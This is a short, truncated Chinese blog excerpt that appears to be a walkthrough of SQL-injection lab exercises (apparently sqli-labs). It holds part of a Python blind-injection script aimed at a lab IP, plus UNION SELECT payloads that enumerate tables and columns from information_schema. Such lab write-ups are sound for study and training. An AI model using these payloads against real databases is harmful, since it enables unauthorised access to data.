versus117的博客

尝试用下for与while两个循环。import requests as rimport refuzzing = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "."]pattern = "you are in"sqlversion = ""for k in range(1, 10): for i in range(len(fuzzing)): url = "http://10.10.10.138:10000/Le

注入方法差不多，第一题添加单引号会报错；第二题需要将单引号编码第三题，报错后会发现有个右括号。union select null,table_name,null from information_schema.tables where table_schema = 'security' limit x,1 -- -通过控制x参数获取security中有几张表union select null,column_name,null from information_schema.columns wh